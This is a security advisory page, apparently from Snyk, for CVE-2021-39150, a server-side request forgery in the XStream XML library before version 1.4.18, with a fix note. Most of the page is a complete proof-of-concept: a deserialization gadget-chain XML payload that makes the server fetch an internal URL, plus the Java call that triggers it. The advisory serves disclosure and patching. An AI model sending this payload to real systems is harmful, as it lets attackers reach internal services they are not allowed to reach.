Server-Side Request Forgery (SSRF) Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.31% (87th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569191
- published 24 Aug 2021
- disclosed 24 Aug 2021
- credit Lai Han
Introduced: 24 Aug 2021
CVE-2021-39150 Open this link in a new tabHow to fix?
Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
PoC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>jdk.nashorn.internal.runtime.Source</class>
<name>readFully</name>
<parameter-types>
<class>java.net.URL</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>int</type>
<field reference='../../../../../val_-getter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
</propertySetters>
<propertyGetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
<field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>long</type>
<field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>value</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>[C</type>
<field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
</entry>
</propertyGetters>
<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/>
</outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
</accessors>
<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
<dynamicWrapper>false</dynamicWrapper>
</bodyBuilder>
<isOneWay>false</isOneWay>
</com.sun.xml.internal.ws.client.sei.StubHandler>
</entry>
</stubHandlers>
<clientConfig>false</clientConfig>
</databinding>
<methodHandlers>
<entry>
<method reference='../../../databinding/stubHandlers/entry/method'/>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
<owner reference='../../../..'/>
<method reference='../../../../databinding/stubHandlers/entry/method'/>
<isVoid>false</isVoid>
<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<url>http://localhost:8080/internal/</url>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);
References
CVSS Scores
version 3.1